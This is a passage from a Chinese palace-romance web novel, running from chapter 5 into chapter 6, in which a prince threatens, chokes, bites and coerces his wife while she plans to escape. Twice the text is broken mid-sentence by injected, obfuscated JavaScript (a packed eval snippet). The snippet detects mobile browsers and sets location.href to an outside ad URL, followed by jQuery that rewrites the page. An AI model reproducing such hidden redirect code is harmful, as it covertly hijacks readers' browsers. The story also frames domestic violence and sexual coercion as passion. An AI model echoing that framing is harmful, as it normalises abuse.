“没有什么?”他逼迫问。
“没有不喜欢夫君轻些。”姜芙红着脸回。
姜芙虽是江北人,但外祖母家皆是江南人,是以她有着江南人的娇弱,说话声音也是糯糯的,落在耳畔犹为动听。
便是哭声也同堰都那些贵女们不同。
低泣,呻吟,别有一番趣味。
是以,无论她笑着,还是哭着,都能勾起薛慎无止的欲望,他要她,似乎永远都不够。
“阿芙。”薛慎吻上她唇,“喜欢那瓶玉肌膏吗?”
碎掉的玉肌膏,姜芙不会喜欢。
她摇头,想回话可声音被吞了进去,他亲的太深了,她只能发出细碎的呜咽声。
“下次若敢再随意收其他人的东西,你该知晓后果是什么。”薛慎舌尖又朝深处探入了些,不知碰触到了什么,惹得姜芙淌出眼泪。
她想退,又被他扯了回来。
辗转了许久后,他才收回舌尖,退出,额头抵上她额头,修长手指落到她后颈,用力揉捏。
威胁的话像风一样流淌而出。
“日后若是再敢收他人的东西,要么你死,要么他死!”
他狠狠捏了她一把,迫使她仰高头,“阿芙应该不喜欢有人死吧?”
姜芙刚刚被他咬破了唇肉,现下一个字也吐不出,只能无助摇头。
薛慎:“说话。”
她忍着疼出声:“阿芙不想任何人死,求夫君饶恕。”
她这副我见犹怜的样子最是让人想欺负,薛慎喉结慢滚,把她翻了过来,薄唇咬上她后颈。
“不想有人死,你就给本王乖乖的。”
“再敢逾矩,都给本王死。”
姜芙仰高头,脖颈拉扯出一道挺立的弧,她不敢说不,只能说好。
带着哭音溢出的声音,听着越发我见犹怜,让人更加保持不住了。
薛慎咬完她后颈,又去咬她侧颈,他像猛兽般啃噬着她。
姜芙泪眼婆娑看着窗外,第一次产生了要逃跑的念想,远离这里,远离薛慎,自此以后再也不见。
她手指抠着软榻上的毯子,任念想在心底深处生根发芽。
她要逃走。
死也要走。
……
那日之后,连着五日薛慎都未曾出现,姜芙被他折腾得太惨,也在榻上躺了三日,第四日才能下榻走动。
婉儿见她能行走,终于有了笑颜,“王妃,吓死奴婢了,奴婢真怕您……”
她没敢讲后面的话。
姜芙淡笑道:“放心,我不会死的。”
薛慎不会真舍得杀她。
“可我看王爷那日……”婉儿道,“日后咱们还是不要同表小姐来往了,那个江先生,也不不要再见面了。”
婉儿真的吓死了。
“表姐对我有救命之恩,我不可能真的不理会她。”
“可表小姐并不是真的表小姐,纵使她救过王妃,王妃也不能因她同王爷生了嫌隙。”婉儿规劝,“还有那个江公子,每次看王妃的眼神都很不对劲,奴婢怕……”
“江公子是好人。”姜芙解释,“不然表姐不会那般信任他。”
“人心隔肚皮,王妃还是要小心为上才好。”婉儿扶姜芙坐下,又递上茶盏,“您与表小姐算起来五年未见,谁知那个江公子是不是真的认识表小姐,万一不是呢?”
“他身上有表姐的信物。”姜芙低头轻抿一口,“表姐也在信中言明了。”
“可——”婉儿还是不安,“总之奴婢还是觉得那个江公子可疑,王妃日后还是不要见他了吧?”
姜芙知晓婉儿是为她好,点头道:“好,不见了。”
话是如此,可当江宸派人从来信笺时,姜芙再次动了去见面的心思。
婉儿道;“这次又是为何?”
“表姐生病了。”姜芙道,“我想送些药材,让江公子给表姐带去。”
“王妃不可。”婉儿跪地,“您因上次的事被王爷禁足,这才刚解禁,若是此时去,万一给王爷知晓,怕是……”
婉儿不想姜芙冒险,但见她又坚持,遂道:“奴婢去,可好?”
眼下似乎也只有这个办法了,姜芙叮咛,“把这信和药一同交给江公子。”
婉儿:“奴婢知晓了。”
怕起疑,婉儿是傍晚出的府门,悄悄从后门走的,绕过几个巷子便能见到人。
姜芙自她走后,便一直盯着窗外发呆,两个时辰后见她还未归,便再也坐不住了。
忍了一炷香的时间再也撑不住,穿上氅衣欲出门查看,还没走,房门被人撞开。
一身蓝色锦袍,墨发束冠,剑眉星目,神情冷峻,来人不是别人真是薛慎。
距离他们上次见面已经过去了半月有余,再见仿若隔世。
姜芙不知他要做什么,颤着眼睫问:“王爷您这是?”
薛慎一字未言,再次有人走进来,应该说跌进来,她直直扑到了姜芙脚下。
是婉儿。
姜芙惊呼,“婉儿。”
婉儿唤了声:“王妃。”
只此一句,随后婉儿被人带走,屋里只剩薛慎和姜芙,门关上,姜芙再也撑不住,跌坐在身后的椅子上。
她问薛慎:“你对婉儿做了什么?”
薛慎慢掀眸,淡声道:“王妃觉得本王会做什么?”
“她是无辜的。”
“那谁不无辜?”薛慎反问,“你吗?”
他的眼神太过骇人,姜芙吓得全身发抖,质问的话一句也讲不出,身子一软,从椅子上滑落下来。
人在屋檐下不得不低头,为了婉儿,她也只能示弱。
跪到薛慎跟前,求他,“王爷,婉儿没错,求您饶她一命。”
“怎么没错。”薛慎把信和药扔姜芙面前,“这些都是从她身上搜出来的。”
“她同外男私会就是有错。”
“她没有,她只是——”
“姜芙!你最好慎言。”
薛慎警告道:“说错了话,你同婉儿的命哪个都保不住。”
他锁住她脖颈,“本王再问你一次,婉儿到底是不是私会外男?”
姜芙自幼同婉儿一起长大,两人与其说是主仆,不如说是姐妹,她不会弃婉儿的性命与不顾。
薛慎要杀要剐随她,但婉儿,她一定要救。
“此时同婉儿无关,是妾身让婉儿去送药的,要杀要剐,随王爷的便,但婉儿,不能死,她是无辜的。”
这炼狱般的日子姜芙本就不想过了,如果逃不出去,那死又何尝不是一种解脱。
这样,她也好早早去同母亲团聚。
“姜芙,你真以为本王不敢杀你吗?”
“不,王爷敢。”姜芙道,“所以,王爷还等什么,杀了妾身吧。”
她缓缓闭上眼,等着薛慎给她一个痛快。
“好,本王成全你。”薛慎加重了手指间的力道。
姜芙第一次没哭也没挣扎,跪在地上,等着死亡的到来。恍惚的,她好像听到母亲在唤她。
“阿芙,阿芙……”
她心说:母亲,阿芙来陪您了。
姜芙昏厥前似乎看到了一束光,光影中不止有母亲还有薛慎,他神色冷凝道:“姜芙,你想死,也得问本王同不同意。”
他同不同意又如何?
反正她都要死了。
姜芙还看到了很多人,小时候的玩伴,救她的表姐,其实,周烟雨不是她的表姐,之所以表姐妹相称本是一句戏言。
她们萍水相逢,是周烟雨路过救了昏厥的她。
她把她带回府,给她找最好的大夫,等她康复后,她又许诺表姐妹相称。
除了母亲外,世上在无人对她这般好,姜芙曾发过誓,会同周烟雨做一辈子的姐妹。
可,薛慎不知为何就是不允。
少时撕毁她的信笺,成亲后又数次阻挠她们见面。
还口口声声说,若是在同旁人有牵连,会杀了她。
姜芙不知,他们明明没见过面,为何会有这般的敌意,她也曾试图问过薛慎,奈何他只字不言。
薛慎对她,从未有过丝毫信任。
罢了罢了,她都要死了,便随她吧。
……
姜芙没死,听着外面的争吵声,缓缓掀眸,四周陈设都是她熟悉的,这是她的厢房。
身上盖的也是她常用的锦被,便是熏香,也是她惯常用的那种。
她的手正被人握着,是婉儿。
姜芙坐起,“婉儿。”
婉儿跪在地上,“王妃您总算醒了。”
“我没死吗?”
“没。”
“王爷呢?”
“王爷被陛下急召入了宫。”
事情的经过是,宫里突然来了旨意,命薛慎即可进宫,薛慎走前让人把婉儿放了,还命人找来大夫给姜芙医治。
是以,姜芙才醒了过来。
“他真没为难你?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200998|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“没有。”
姜芙还是不信,拉起婉儿的袖子看了看,手臂上确实没有一丝伤痕,她这才安了心。
长吁一口气,刚要说什么,外面的吵闹声更大了。
“出了何事?”姜芙问。
老夫人命刘妈传话,要王妃现在过去,春喜在外面拦着,不过怕是拦不住了。
“让刘妈进来吧。”
“可是王妃您的身子……”
“无妨。”
刘妈是宋氏跟前的红人,谁见了都得给几分薄面,姜芙虽贵为王妃,可在这个王府里,哪个都比她高一等。
说穿了,她只不过是商贾之家的女儿,比不上刘氏有个做将军的父亲,也比不上周氏有个当城主的兄长。
她无依无靠,只有自己。
所以,在王府,如履薄冰。
刘妈进来后,跪都没跪,趾高气昂道:“王妃既然无碍了,就快跟老奴走吧,老夫人那还等着呢。”
“不知母亲寻我何事?”姜芙问道,“刘妈妈可否告知一二?”
“哼。”刘妈皮笑肉不笑道,“王妃做了什么丑事自己还不清楚吗?”
“不清楚。”
“王妃不知,你身旁的婢女婉儿总知晓吧。”刘妈道,“她私见外男的事,王妃不要以为真能瞒住。”
“王妃屋里的人作出如此大逆不道的事,还是快些去跟老夫人赔罪吧。”
原来是为了这事。
婉儿跪地,“王妃,是奴婢的错,奴婢随刘妈去。”
姜芙怎么可能让婉儿独自去面对,再者,宋氏既然让刘妈请她,她这一趟便非去不可。
“好,我梳妆后便去。”姜芙道,“刘妈请在外厅稍作。”
刘妈甩着袖子去了外厅。
婉儿哭泣道:“都是奴婢的错,奴婢应该更小心些才好。”
“同你无关。”姜芙道,“老夫人早就想寻我个短处了,即便没今日这事,我也躲不过。”
“老夫人那怕是不好过,要不要派人去寻王爷?”偌大的王府,虽说薛慎对姜芙苛责,可真正能护住姜芙的,也只有薛慎。
“不必了。”经历这么多事,姜芙对薛慎已心灰意冷,被他护住又如何,到头来还是要受他的欺凌。
他们母子左右都看她不顺眼,还不如遂了他们的意。
……
宫里。
庆帝同薛慎谈完了朝事,顺嘴说起了家事,听闻他爱护发妻,连连称赞道:“阿慎这点最不像你父亲,你父亲那人,眼里除了朝事外,再无其他。”
“就是因为他这副性子,才惹得你母亲生厌。”
“其实,你父亲也悔,他在世时,时常对朕讲,亏欠你们母子太多。”
“阿慎,切勿记恨你父亲,他也实属不易。”
薛慎不想提往昔的事,淡淡应着,“陛下多虑了,臣谁都不怪。”
“家和万事兴。”庆帝道,“你要好生照顾发妻。”
“臣遵旨。”言罢,薛慎胸口一阵痛,痛楚来的蹊跷,他微动了下受伤的手腕,随即道,“臣妻还尚在病中,臣想先回了。”
“行,回吧。”庆帝示意大太监端来人参,“把这带回去,可药到病除。”
薛慎谢过。
……
一路上,薛慎未停,贴身侍卫小九道:“主子,何事这般急迫?”
薛慎未开口,一旁的小八问道:“王妃可安好?”
小九:“我出府时王妃还未转醒,不过大夫说了,王妃无碍。”
正是因为无碍,他才出府采买。
“不是让你亲自守着吗,为何出府?”
“老夫人说要吃城西的果子,命我去买,我岂能推脱。”
“你呀。”小八道,“人都看不好,等着主子罚你吧。”
薛慎举着鞭子再次挥打在马背上,下一瞬,马儿疾驰而出。
眨眼功夫,快了他们很多。
小九撇嘴,“能出什么事。”
小八怼他,“你没看出老夫人不喜王妃么,平时便总是找她错处,今日出了这般事还能放过王妃?”
“王妃有王爷护着,老夫人又敢如何?”
“你说呢?”小八道,“真是让你气死了。”
……
宋氏敢如何?
宋氏敢做的事可多了去了,尤其是旁边还有煽风点火的。
刘氏和周氏一唱一和,“母亲,弟妹做出这等辱没门风的事,别说三弟的脸面,便是整个睿王府的脸面都丢尽了。”
“母亲可要重重责罚才是。”
“若是轻易揭过,日后恐会再犯,真要同外面的男子有了什么,咱们睿王府可就成笑话了。”周氏道。
“对,母亲决不能轻饶。”刘氏又道。
姜芙脸上火辣辣的,周身也痛到痉挛,她已经不记得挨了多久的打,一个时辰,还是两个时辰。
婉儿也被打的蜷缩在地上,她有心去护,刚动了一下,被人踩住了手。
“贱人,做出如此龌龊的事,便是慎儿不罚你,我也要罚。”宋氏冷声道,“打,给我使劲打。”
偌大的梃杖落身上,不死也会没半条命。
姜芙自知避不开,干脆也不辩解不躲了,抬眸看着梃杖落身上。
即将落下时,有人一脚踢开了祠堂的门,随后冷风同那人的身影一同出现。
“我看你们谁敢动她!”
5. 第五章锁喉
第5章
“……王妃,您是不知道,当时王爷出现后,她们一个个吓得腿都软了。刘妈直接吓趴到地上。“
“还有大夫人二夫人站都站不住,老夫人也没好到哪去,要不是有翠菊扶着,估计也会倒。”
“跪了一地的丫鬟婆子们,都求王爷饶命呢……”
婉儿边给姜芙上药边道:“这次若不是王爷及时出现,王妃指不定会怎么样呢。”
自从姜芙醒来后,婉儿小嘴就没停,一直在那叭叭,把昨日发生的事原原本本又讲述了一遍。
姜芙昨日受刑过重,看到薛慎后便昏厥过去,对于后面发生的事一概不知。
她不确定婉儿讲的是真的还是假的,总觉得薛慎不像是会为她出头的人。
“王妃不信么?”婉儿道,“是真的,真是王爷救了王妃。”
这事别说王妃不信,要不是婉儿亲眼所见,她也不会信,王爷对王妃一向冷淡,甚少过问府中的事,可昨日那般真的是叫人咋舌。
王爷的担心不是假的。
“王爷是真的很在意王妃。”婉儿轻轻帮姜芙穿好衣衫,“王妃若是不信的话,可以叫绿竹她们过来问话。”
姜芙最信任婉儿,她如此讲,想来便是真的。
可他…为何要救她?
要知道他们的关系也没多好,除了床榻缠绵之外,其他时候,他们都是一句话也不讲的。
为了她开罪老夫人,他意欲何为?
背上痛楚还在,姜芙没敢乱动,侧倚着软垫子道:“王爷现下在哪?”
婉儿:“去了城外军营中,说是有事商议。”
婉儿知晓她的担忧,淡声说:“王妃放心,将军把小八给留下了,让他在院子里护着,有小八在,老夫人不敢怎么样。”
谁都知道薛慎有心腹,小八和小九,见到他们就如同见到薛慎本人。
他把人留下的用意再明显不过,警示府中其他人不许来叨扰王妃。
也正是因为他把小八留下,这两日西厢院才安生了不少,不然以宋氏的性子,早差人上门来拿姜芙了,哪里容她如此清闲。
“王妃,奴婢真觉得王爷对王妃还有情。”婉儿端着铜盆走出去,随后又回来,指了指桌上的人参当归道,“这些也都是王爷差人送来的。”
都是名贵药材,普通人家怕是一辈子都见不到一次。
若是搁从前,姜芙兴许会欣喜,但被他折腾了这些年,她心早已千疮百孔,纵使他这般对她,她也未曾感动分毫,甚至觉得,他之所以这般做,是有目的的。
至于何目的,除了他自己,旁人不可知。
她亦不会知晓。
“婉儿,让人把那些收了。”看到就烦心的东西,还是少见为好。
“王妃不吃么?”婉儿道,“太医说同汤药一起服下,事半功倍,伤也会好的更快些。”
“不想吃。“姜芙自从下定决定离开的那刹,便做好了和薛慎割席的准备,她不再需要他的任何施舍。
不管是银钱还是其他。
“你若想吃的话,你拿去吃吧。”婉儿伤的也不轻,她道,“你都拿走。”
“奴婢不敢。”婉儿摇头,“王爷给王妃的,奴婢哪敢享用。”
“我说赠你便是赠。”姜芙道,“难道你连我的话都不听了?”
她佯装愠怒道。
婉儿跪地,“奴婢不敢。”
“不敢就收着。”姜芙命婉儿都拿走,眼不见心不烦。
婉儿不敢停留,端着盒子走出来。
小八远远看到,吧唧两下,发出轻哼声,整个堰都城,大概也只有王妃敢拂王爷的面子。
那些贵女们,可是巴不得收到王爷赠送的东西呢。
也怪不得王爷对王妃另眼相待,王妃确实同其他女子不一样。
姜芙不知小八心中所想,若是知晓的话,大抵会笑出声,还会驳斥,这般不要命的“疼惜”她还真是不稀罕。
她只愿他能离他远远的,最好一辈子不相往来。
姜芙蹙眉想着逃跑的方法,想来想去,都觉得不可行。
薛慎不似外界传言那般温润如玉,他是豺狼,轻易便能把她撕碎,是以,她要想个万全的法子才能离开。
她搅着手指想时,不知外面发生了大事。
……
江宸被人围堵住,一个个凶神恶煞,欲除之而后快。江宸道:“你们是何人?”
来人什么也没说,举剑朝他刺来,高手过招,眨眼间树木便被拦腰砍断,应声倒下时,黑衣人说到:“取你命的人。”
江宸不是普通的剑客,他的武功造诣皆是上乘,世上要他信命的人很多,但从未有人能得手。
他道:“我看是你们几个的死期到了。”
这场拼杀足足半个时辰,江宸负伤离开,黑衣人对着后方一直未开口的男子说道:“王爷,看他武功套路,那夜的人就是他。”
薛慎扯下脸上的黑色面巾,沉声道:“去追,捉活的。”
黑衣人抱拳作揖,“是。”
薛慎刚要转身离去,后方有人来报,“主子,属下捡到一物。”
薛慎停下,转过身,接过香囊,眉宇间冷若冰霜,一旁的小九倒抽一口气,脱口而出:“这个香囊同王爷那个一样。”
薛慎腰间的香囊是姜芙所赠,也是他强行要来的,那日把她折腾的泣不成声,她为了哄他停手,拿出亲手缝制的香囊。
淡雅的白色牡丹花型,同她给人的感觉一样,迟疑都没有,他便收了香囊。
本以为是世上独一无二之物,却原来不是。
看来,他对姜芙太亲厚了,让她产生了错觉,以为他可以随意糊弄。
薛慎一拳捶在身后的树上,枯枝晃动了许久。
小九深知自己说错了话,解释道:“应该是属下看走了眼,这个香囊同主子腰间的那个一点都不一样,主子可别因这事同王妃生了嫌隙,之前小八不是找人查了么,王妃同离城那些人没有任何干系,去见的也只是普通书生,那人不是还关在地牢里么,这些应该只是巧合,主子可千万别——”
“今日的事不许告知任何人。”薛慎沉声交代,“若是传出去,杀无赦。”
众人跪地道:“是。”
小九还是不放心,慢挑眉看过去,只见薛慎低头凝视着香囊,眼睛里都是杀意。
他抿唇咽咽口水,恨不得给自己一巴掌,都怪他多嘴了,千万不要发生什么才好。
……
姜芙不知为何,眼皮一直在跳,心也很不安,婉儿以为是背上伤所致,扶她侧躺后,给她涂抹了药膏。
边涂抹边安抚,“过几日堰都城中有灯会,王妃不是最喜看花灯么,要赶快养好,到时奴婢陪王妃去看灯。”
提到灯,姜芙想起了初来堰都那年,薛慎带着她一起看灯的情景。
甩掉丫鬟下人,他们两个手牵着手穿梭在人群中,他还送了她兔子面具,亲自给她戴上,还戏谑逗弄她,将来若是谁娶了她,做梦也会笑醒。
那日她不知自己哪里来的胆子,竟然脱口问:“慎哥哥可以娶我吗?”
话音落下的瞬间,头顶燃起了烟花,璀璨光影中,她听到他说:“好,慎哥哥娶你。”
到底只是戏言,说说而已。
她离开堰都没多久,便听闻他开始同城中贵女们相看了,还听闻,连天子都想把九公主许给他。
那段日子她茶饭不思,消瘦得很,是以父亲同她提起亲事时,她也未曾讲什么,只道但凭父亲做主。
后面初听能嫁给他时,她委实高兴了许久,本以为美梦成真,殊不知一切皆是她的妄想。
姜芙自嘲笑笑,都怪她不自量力,非要趟这旋涡。
没捱住睡意,眼皮渐渐阖上,这一觉她睡到了晚膳时,异响声传来,她才转醒,睁开眸,睡意惺忪道:“婉儿,我渴了。”
言罢,有人端上茶水,她伸手去接时,才看清那人是谁?
黑色锦袍,玉簪束发,眉目冷凝,是薛慎。
他一向喜深色,除去官袍外,衣袍大多是这种,不经意看过去生生给人种老成持重的感觉。
姜芙突然想不起他到底是从何时起喜欢上你深色袍衫了,记忆中少时的他多爱浅色。
出行皆是白袍。
而且她细看的话还发现了其他不同,少时他左耳后有颗黑色小痣,可再见时她发现没了。
也不止这一处不同。
其他处也有,只是一时想不起。
姜芙手定在半空中,直直凝视着薛慎,淡声道:“王爷怎么来了?”
“不欢迎我来?”薛慎挥开他的手,把茶盏递到她唇边,“张嘴。”
姜芙不知他要做何,唇轻抿着,没张。
“不是说渴了。”薛慎道,“还不喝。”
没见他之前确实是渴了,可见过他之后,其他什么感觉都没了,只剩恐惧。
“妾身怎敢劳烦王爷。”姜芙回过神,伸手去接。
薛慎手微微移开,“阿芙身子不适,我喂你。”
他高兴时便以“阿芙”相称,生气时便一口一个“姜芙”,愤怒时便是“睿王妃”。
现下他唤她阿芙,大抵是高兴的吧。
他高兴,但姜芙不是,见到他的第一眼便不好了,恐惧从毛孔里冒出来,不断提醒她,他做的那些过分的事。
旁人的茶水她敢喝,但薛慎的不敢,她怕喝下后,付出更大的代价。
“王爷累了一日了,这等小事妾身自己便可。”
“无妨。”薛慎道,“本王就想亲自喂王妃。”
端出头衔,是在提醒她,他是王,她只是妃,记得要听话。
姜芙所有的挣扎都没了,抿抿唇,“谢王爷。”
薛慎:“张嘴。”
姜芙乖乖张开嘴,水入喉,带着淡淡的茶香,若是没有勾心斗角,没有他那般欺凌,眼下或许是很好的一幕。
但姜芙知晓,她不能沉沦,薛慎与她不过是一时兴起,随时有可能翻脸不认人。
喝了半盏,姜芙摇头。
薛慎当着她的面慢慢举起茶盏,随后低头饮完了剩下的半盏茶水。
虽是夫妻,但到底在人前,这般做委实有些孟浪了,姜芙苍白的脸上溢出淡淡的红,眼睑垂着看向他处。
薛慎喝完茶水,随时递给婉儿,婉儿接过后,躬身退了出去。
房间里再次没了外人,静谧的可怕。
姜芙最先受不住,淡声道:“王爷还没用膳吧,妾身这就让她们准备。”
她作势要起来,被薛慎摁了回去,“你为何总是不听话?”
“嗯?”姜芙不解,“妾身不知王爷说的是何事,还请王爷示下。”
薛慎来此本就是兴师问罪的,当然也没什么好避,从怀里掏出香囊扔了过去,“这个你见过吧?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200999|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
姜芙狐疑拿起,定睛查看后,大惊失色,心道,托江先生给表姐的香囊怎么会在薛慎手中?
难道江先生真出了什么事?
不不对,上次婉儿偷偷去见江先生,他说过了,不日便会离开堰都。
或许…是薛慎在诈她。
她不能自乱阵脚。
姜芙摇摇头,柔声道:“妾身未曾见过。”
“当真没见过?”
“是。”
见她语气肯定,薛慎轻扯了下唇角,“姜芙,原来你也会诓人。”
言罢,他完全不顾姜芙身上的伤,扣住她的手腕把她扯到身前,居高临下道:“还不从实招来。”
“妾妾身不知要招什么?”姜芙后背一阵痛,她蹙眉道,“王爷,妾身痛。”
“痛?”薛慎掐上她下颌,“本王看你一点都不痛!”
若是真痛的话,怎会还不招来。
姜芙赢若的身子早已禁不住他如此大力气的折腾,此时额头上布满了细密的汗珠,脸颊上的红晕也荡然无存。
她轻喘道:“王爷,妾身真没见过此香囊。”
“没见过?”薛慎轻嗤,“姜芙,你真以为本王瞎么,这明明就是你亲手缝制的。”
“不不是我。”姜芙辩解,“真不是我。”
“看来你是不见棺材不掉泪。”薛慎把腰间的香囊扯下扔给她,“这个是你那日送我的,你总不能说没见过吧?”
“妾身当然见过。”
“可它们是不一样的。”
姜芙忍着痛把两只香囊拿起,煞有其事地认真查看,随后道:“王爷,这两只香囊看似出自一人之手,实则不是,王爷不信的话自己去看。”
“这里,这里的绣法都是不同的。”
好在那日姜芙多留了一分心思,特意改了绣制的方法,不然今夜便是跳进黄河也洗不清了。
薛慎接过两只香囊,细细查看,还真如姜芙所言,针法不同。
“好,就当不是同一只。”薛慎道。
他还摁着她,后背已经痛到没了直觉,“王爷可以松手了吗?”
薛慎悻悻松开手,“别以为这样就能怎么样,记住,没有本王的命令,你不许再出府。”
姜芙:“是。”
“好了,下来用膳。”他道。
姜芙都要痛死了,哪里还有力气用膳,“妾身吃不下,王爷自己吃可好?”
“你说呢?”薛慎沉声道,“姜芙,你别忘了那日可是本王从老夫人手里把你救下的,说起来本王还是你的救命恩人。”
是恩人,也是仇人。
刚刚他那一摁,差点把她的命摁没。
他真是狠。
“下来,陪本王一起用膳。”他不容置喙道。
姜芙不敢怠慢,只得忍着痛下了榻,婉儿端着晚膳进来,见她脸色比纸还白,担心的红了眼眶,“王妃您……”
姜芙摇头,“无妨。”
“奴婢扶您坐下。”姜芙坐在了薛慎对面。
膳食都是按照薛慎喜好准备的,没几样是姜芙想吃的,她忍着痛吃了几口后,便再也咽不下去。
低着头喝汤。
薛慎给她夹了些荤菜,“把这都吃了。”
姜芙不是想违抗,只是她实在吃不下,“可以不吃么?”
薛慎:“不可以。”
他冷的可怕。
姜芙吓得心肝都颤了,抖着手拿起筷子一一吃下。
咽下后,逃跑的心更重了。
她一定要离开薛慎,离开睿王府,便是死也要逃离。
薛慎不知她心中所想,若是知晓的话,大抵会打断她的腿防止她离开。
“换药了吗?”他突然问。
姜芙摇头,“未曾。”
薛慎:“用完膳我给你换。”
姜芙闻言,抖得更厉害了,他要给她换药?谁知道他是真想为她换药,还是想折磨她?
她不想,可有不敢讲,只能点头,“谢过王爷。”
薛慎:“看你的样子好像不乐意。”
姜芙起身,跪地道:“妾身不敢。”
双肩不住抖着,好像下一瞬便会昏倒。
薛慎没了用膳的兴致,双眉笼到一起,手臂一伸,把她打横抱起。
姜芙吓死了,抓紧他衣袖,战栗道:“王爷。”
他最看不得她这副梨花带雨的样子,沉声道:“不许哭。”
不说还好,说完姜芙没忍住真哭了起来,边抽泣边道:“……疼。”
薛慎不会哄人,声音还是那般冷,“忍着。”
他每次受伤时都是如此告诉自己的,忍,必须忍。
姜芙性子软,被他训斥几句后再也忍不住,无声哭起来。
薛慎:“真烦。”
他截住她哭泣的方法很直接,把她放床榻上后,挑起她的下颌,吻了上去。
把她的抽噎声都吞进了口中。
她再想发声已经发不出,挣扎吧又不敢用力太猛,只能手指扯着锦被,生生受着。
他吻了许久,直到把唇吻麻才退开。
姜芙转头不去看他,又被他掐住下巴扳过脸,见她眼睛绽红,委委屈屈,他难得没有骂人。
“放心,我会轻些。”
姜芙还在抽泣,一看就是好话哄不好的那种,他干脆又换上了暗沉的面孔。
“再哭我还亲你!”
6. 第六章算计
第6章
姜芙咬唇默默忍着,直到他涂抹完,她才堪堪吐出一口气,抬手碰触脸颊,掌心里都是泪渍。
她想起了少时摔伤后娘亲为她上药的事,温温柔柔,话语轻哄,“我家阿芙真乖,伤到这样都没哭。”
“你不是最喜吃烤鸭吗,等你伤好后,娘亲亲自做给你吃。”
“我家阿芙长大了一定是个美人胚子,将来啊,定能得夫君喜欢。”
娘亲就在眼前,姜芙伸手去碰触,才发现那是自己的幻觉,她的娘亲已经没了。
她抽噎着不想去看身后的人,更不想听他说什么。
但薛慎不是那种可以让人无视的人,你不理会,他有的是方法叫你理会。
“问你话呢?”
“王爷说什么?”
“后日端王府有寿宴,你同我一起去。”
“妾身也去?”姜芙后背痛到痉挛,哪里有心思去寿宴,“妾身可以不去吗?”
她怯生生问他,期翼着他对她能有一丝怜悯。
“你要我自己去?”薛慎强行把她翻转过来,让她的后背抵在床榻上,手狠狠捏上她肩膀,“端王爷寿宴,堰都城大小官员都会携家眷参加,你要本王自己去?”
“姜芙,你想让全堰都的人都看本王的笑话?”
“说你我夫妻不睦?”
姜芙不是那般想的,她只是身子不适不想出去,仅此而已。
“不是的。”
“既然不是,那就去。”薛慎冷声道,“记住,你是睿王妃,只要不死,就得去。”
他犀利的言语仿若利剑一般穿透姜芙的心,让她本就伤痕累累的心尖上再添伤痕。
可能是太痛太难过,她没像之前那样忍着,问道:“王爷,你就这么恨妾身吗?”
薛慎:“是。”
“既然如此,不如王爷给妾身一个了断吧?”姜芙红着眼睛道,“反正妾身也活够了。”
“你以为我不敢杀你?”
“不,王爷敢。”他对她的无情,她不早就知晓么。
“既然知道,就不要说些没用的话挑衅本王。”薛慎加重了手上的力道,“姜芙,我的雷霆之怒,你承受不住。”
眼角顺着眼泪流淌下来,她不禁问:“慎哥哥,我们之前那般要好,到底为何会变成这样?”
“不要跟我提以前。”薛慎沉声打断,“你不配。”
……
那夜争吵后,薛慎一去不回,姜芙整整十日未曾见到他,听闻端王爷的寿宴他还是去了。
不单去还在寿宴上出尽了风头,一首藏头诗惹得城中贵女们跃跃欲试,都夸他天人之姿。
有胆子大的,不在乎名分的贵女,差媒人上门来说亲,抢着要做妾室。
宋氏这几日一直在忙着见客,今日是这家达官贵人,明日又是那家达官贵人,明明府里还有未婚配的儿郎,可偏偏入眼的都是薛慎。
宋氏一边喜一边忧,喜的是薛慎得这么多贵女们喜欢,忧的是,他一个满意的也没有,见都没见便婉拒了。
说婉拒还好听,实则是直接拒绝。
宋氏提一次拒绝一次,气的宋氏问道:“这么多女子你都不喜,那你说你喜谁?”
薛慎道:“母亲,儿子已成亲,自然是同夫人亲厚。”
宋氏差点吐出血,“你同姜芙成亲三载,她还无所出,这若是在别人府中早给休了。”
“你说,是不是她阻你纳妾?”
薛慎道:“不是。”
薛慎气的也是这点,堰都城闹得满城风雨,可她好像不知似的,该吃吃,该喝喝,听闻最近对作画上了心,一直在书房里对着牡丹画。
每日看着送来的画卷,他恨得咬牙切齿,如此不懂世事的女子,当真是可恶。
小八看出端倪问道:“王爷要不您向王妃服个软?”
大丈夫岂能向女子低头,他道:“妄想。”
然后他们便僵持到了现在,听着宋氏叨叨纳妾的事,薛慎眉梢拧起,“母亲若是没旁的事,儿子先告退了。”
言罢,他起身离开。
“诶诶,你别走,我还没讲完呢。”宋氏高呼道。
薛慎没停,径直走了出去。
宋氏气的随手扔掉了茶盏,“都是姜芙这个狐狸精害的!”
刘妈上前低语,“夫人若是生气,大可把王妃叫过来训斥,万不可伤了自己的身子。”
“叫她?”宋氏指着还能看到的身影道,“慎儿什么性子你又不是不知,上次因姜芙我们母子已生了嫌隙,再闹,指不定怎么样呢。”
“老夫人不方便出面,那就让旁人去教训。”
“旁人?”宋氏不懂。
刘妈道:“三日后,赏花宴,各家府邸的娘子都会去,继时老夫人让王妃也去,到时出了什么乱子可就怪不得老夫人了。”
宋氏闻言,喜上眉梢,“也是时候给她点教训了,好,就让她去。”
……
姜芙最不喜这些应酬,可老夫人发了话,她不能不从,只得去,提前命婉儿准备好衣衫,不要太过素雅,但也不要太多艳丽。
她既不想让人嫌弃,也不想惹人注目。
早早去,早早回便好。
她的牡丹花尚未画完,她想快些回来画。
可惜,事与愿违,她不惹人,总有人惹她。
